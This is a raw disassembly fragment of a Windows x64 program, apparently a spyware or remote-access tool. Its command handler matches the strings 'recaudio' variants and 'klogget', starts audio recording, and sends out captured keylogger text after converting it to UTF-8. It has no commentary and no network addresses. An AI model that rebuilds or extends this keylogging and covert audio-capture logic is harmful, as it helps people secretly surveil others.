mov rcx, qword [r14 + 0x80]
cmp rbx, 8
jne 0x140012762
mov r8, rbx
lea rdx, str.recaudio
call fcn.1400510b0
test eax, eax
jne 0x140012762
cmp byte [0x14006ff4b], al
jne 0x140012966
mov dword [0x14006cd88], 5
mov dword [0x14006cd84], 1
mov byte [0x14006ff4a], 1
jmp 0x140012966
lea rcx, [r14 + 0x80]
cmp r15, 0xf
jbe 0x140012772
mov rcx, qword [rcx]
cmp rbx, 0xa
jne 0x1400127b8
mov r8, rbx
lea rdx, str.recaudiox4
call fcn.1400510b0
test eax, eax
jne 0x1400127b8
cmp byte [0x14006ff4b], al
jne 0x140012966
mov dword [0x14006cd88], 7
mov edx, 2
mov dword [0x14006cd84], edx
mov byte [0x14006ff4a], 1
jmp 0x140012966
lea rcx, [r14 + 0x80]
cmp r15, 0xf
jbe 0x1400127cc
mov rcx, qword [r14 + 0x80]
cmp rbx, 0xb
jne 0x140012812
mov r8, rbx
lea rdx, str.recaudiox10
call fcn.1400510b0
test eax, eax
jne 0x140012812
cmp byte [0x14006ff4b], al
jne 0x140012966
mov dword [0x14006cd88], 3
mov eax, 6
mov dword [0x14006cd84], eax
mov byte [0x14006ff4a], 1
jmp 0x140012966
lea rcx, [r14 + 0x80]
cmp r15, 0xf
jbe 0x140012822
mov rcx, qword [rcx]
cmp rbx, 7
jne 0x140012966
mov r8, rbx
lea rdx, str.klogget
call fcn.1400510b0
test eax, eax
jne 0x140012966
mov r9, qword [0x14006ff68]
test r9, r9
je 0x140012966
lea r14, [0x14006ff58]
mov r8, r14
cmp qword [0x14006ff70], rbx
cmova r8, qword [0x14006ff58]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rdx, rbx
xor r8d, r8d
lea rcx, [rbp + 0x1a0]
call fcn.140003c20
lea rcx, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0xf
cmova rcx, qword [rbp + 0x1a0]
mov r8, r14
cmp qword [0x14006ff70], 7
cmova r8, qword [0x14006ff58]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, dword [0x14006ff68]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
lea r8, [rbp + 0x1a0]
mov edx, 0x322c0dea
mov rcx, qword [r12]
call fcn.14000b930
nop
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x14001294b
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012946
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400129c8
call fcn.140025830
mov qword [0x14006ff68], r13
cmp qword [0x14006ff70], 7
cmova r14, qword [0x14006ff58]
mov word [r14], r13w
mov rbx, qword [rsi + 8]
test rbx, rbx
je 0x140012996
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140012996
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x140012996
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.140025810
mov rbx, qword [rsp + 0x330]
movaps xmm6, xmmword [rsp + 0x2d0]
add rsp, 0x2e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14002efe8
nop
call fcn.14002efe8
int3
call fcn.14002efe8
int3
call fcn.14002efe8
int3
call fcn.14002efe8
int3
call fcn.14002efe8
nop
call fcn.14002efe8
nop
call fcn.14002efe8
nop
call fcn.14002efe8
int3
test dl, 4
je 0x140012a0c
lea rbx, str.ios_base::badbit_set
jmp 0x140012a21
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x30]
call fcn.1400018e0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.1400028c0
lea rdx, [0x140069c20]
lea rcx, [rbp - 0x20]
call fcn.140027928
int3
call fcn.14002efe8
int3
call fcn.14002efe8
nop
call fcn.14002efe8
nop
call fcn.14002efe8
nop
call fcn.14002efe8
nop
call fcn.14002efe8
nop
call fcn.14002efe8
int3
call fcn.14002efe8
int3
call fcn.14002efe8
nop
call fcn.14002efe8
int3
call fcn.14002efe8
nop
call fcn.14002efe8
nop
call fcn.14002efe8
int3